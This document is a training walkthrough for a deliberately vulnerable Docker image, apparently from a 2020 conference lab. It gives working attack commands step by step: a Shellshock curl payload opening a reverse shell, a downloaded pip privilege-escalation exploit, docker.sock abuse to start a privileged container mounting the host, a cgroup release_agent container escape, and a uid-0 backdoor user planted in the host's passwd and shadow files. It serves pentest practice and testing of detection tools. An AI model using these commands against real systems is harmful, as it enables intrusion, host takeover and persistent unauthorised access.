A specially prepared image for Archdays 2020 conference, that can help you to practice penetration testing skills of an application inside a Docker container. The image contains the vulnerable (CVE-2014-6271) Bash package that allows Remote Code Execution. The vulnerability is more commonly known as Shellshock. The image by opsxcq is taken as a basis.
Exploitation of vulnerability consists of the following stages:
- Gaining access to the container shell under the www-data user using RCE (Shellshock)
- Privilege escalation to root via FakePip exploit
- Connecting to docker.sock and deploying a new ubuntu container with SSH service for further connection (with mount
/:/hostand high privileges) - Create user hidle on host
- Connect to host with new user
- Deploy Weave Scope
This image can also be tested for piloting Container Security solutions. The bash package can be detected by trivy, and docker escape can be detected by Falco.
To build a vulnerable container image
docker build . -t vuln-wheezy
or
docker pull dvyakimov/vuln-wheezy
You need to run the application docker.sock mounted:
docker run -v /var/run/docker.sock:/var/run/docker.sock --rm -it -p 8080:80 vuln-wheezy:latest
You can check the availability at localhost: 8080
We have to launch netcat on our machine to get connection by target machine:
nc -l 1337
In a new window, we exploit RCE with the replacement of <IP-netcat> to the IP where netcat is running, <IP-target> to the one where you have the vulnerable service running:
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'sh -i >& /dev/tcp/<IP-netcat>/1337 0>&1'" http://<IP-target>/cgi-bin/vulnerable
# Gather info about OS:
cat /etc/os-release
# Gather info about kernel. It could be helpful to find CVE and make docker escape for example:
uname -rv
uname -a
# Gather info about yourself:
id
# Gather info about current cgroups:
cat /proc/1/cgroup
# Gather env. Could be some pass:
env
# Gather info about network:
ifconfig
# Gather info about mounts:
cat /proc/mounts
# Docker.sock could be accessible (yes):
cat /proc/mounts | grep docker.sock
# Can we use docker.sock? (yes):
ls -l /var/run/docker.sock
We see that it is possible to install pip packages by sudo:
sudo -l
Dowload exploit for pip in /tmp:
cd /tmp && wget https://raw.githubusercontent.com/dvyakimov/FakePip/master/setup.py
Change <IP-netcat> to IP-address, where we have on more netcat:
cat setup.py | sed "s/192.168.168.2/<IP-netcat>/" > setup-new.py && mv setup-new.py setup.py
Make one more netcat:
nc -l 13372
Install exploit with pip:
sudo pip install . --upgrade --force-reinstall
Gain root inside the container.
Now when we have root, we can install whatever we need. For example, capsh to find out capabilities:
apt-get update && \
apt-get install libcap2-bin
Get capabilities:
grep Cap /proc/self/status
capsh --decode=00000000a80425fb # default run
# capsh --decode=00000000a82425fb if we add sys_admin
# capsh --decode=0000003fffffffff with priviliged key
Here we would install jq and create a container via curl connection in docker.sock, but unfortunately curl on debian 7 is so old that connecting to a unix socket is not supported. Let's take a connection via netcat. There are not many examples on the Internet for connecting via netcat, so we'll figure it out on our own. Install package to make netcat work with unix-socket:
apt-get install netcat netcat-openbsd
Now we can make requests to unix-socket:
echo -e "GET /images/json HTTP/1.0\r\n" | nc -U /var/run/docker.sock
Download some image. Let it be ubuntu with ssh:
nc -U /var/run/docker.sock
POST /v1.39/images/create?fromImage=rastasheep/ubuntu-sshd&tag=14.04 HTTP/1.0
Let's create ubuntu container via docker.sock. We have to mount / to out host ( /host ):
request="POST /v1.39/containers/create HTTP/1.0\r\nContent-Type: application/json\r\nContent-Length: 12345\r\n\r\n{\"Image\":\"rastasheep/ubuntu-sshd:14.04\",
\"HostConfig\":{\"Privileged\":true,\"Binds\":[\"/:/host\", \"/dev/log:/dev/log\"]}}" && echo -e $request | nc -U /var/run/docker.sock
We have id as output. Start the container (replace <id> ):
request="POST /v1.39/containers/<id>/start HTTP/1.0\r\n\r\n" && echo -e $request | nc -U /var/run/docker.sock
Check the new container. Here we could get the "IPAddress":
echo -e "GET /images/json HTTP/1.0\r\n" | nc -U /var/run/docker.sock
Connect to the new container with root (password root):
ssh root@172.17.0.2
Since the container has become privileged, you can get a list of host processes. See the list of processes on the host due to the sys_admin capabilities (for this task you need to insert commands step-by-step):
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)` \
mkdir -p $d/w \
echo 1 >$d/w/notify_on_release \
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` \
touch /o \
echo $t/c >$d/release_agent \
printf '#!/bin/sh\nps >'"$t/o" >/c \
chmod +x /c \
sh -c "echo 0 >$d/w/cgroup.procs" \
sleep 1 \
cat /o
Wheen we connect to the new container let's create a new user hidle on the host.
Add to /host/etc/passwd:
echo 'hidle:x:0:0:Hidle,,,:/home/hidle:/bin/bash' >> /host/etc/passwd
Add to /host/etc/shadow (password 666106610):
echo 'hidle:$6$rU8Vq2aztTvx6FT8$WNeoWmMGe3CGEXYid6c2oUqy1rXuo2nLpyQpywECLM5FlUZo7hp6TBPZyHeDMohPamrDKprK5C5zO3gbEYrc20:18582:0:99999:7:::' >> /host/etc/shadow
Add to /host/etc/group:
echo 'hidle:x:0:' >> /host/etc/group
Add to /host/etc/gshadow:
echo 'hidle:!::' >> /host/etc/gshadow
And make home dir:
mkdir /host/home/hidle
Unfortunately, you may not be able to connect to the host if the password auth is disabled on the host. In this case:
mkdir /host/home/hidle/.ssh
Generate key pair:
ssh-keygen
We put the public key on the host:
cat /root/.ssh/id_rsa.pub >> /host/home/hidle/.ssh/authorized_keys
Now we connect to the host using the created user:
ssh hidle@172.17.0.1
We have connected to the host as root even when we do not know the root password.
Once on the host, we can say that the game is over, but there is one more thing we can do:
sudo curl -L git.io/scope -o /usr/local/bin/scope
sudo chmod a+x /usr/local/bin/scope
scope launch
On the same IP address to which we connected with RCE, a new service appeared on port 4040 - Weave Scope. If you go to the new service through a browser, you can see information about all available containers, RAM / CPU and even run some coommands via terminal in web.
Here's a real story with a Weave scope attack.
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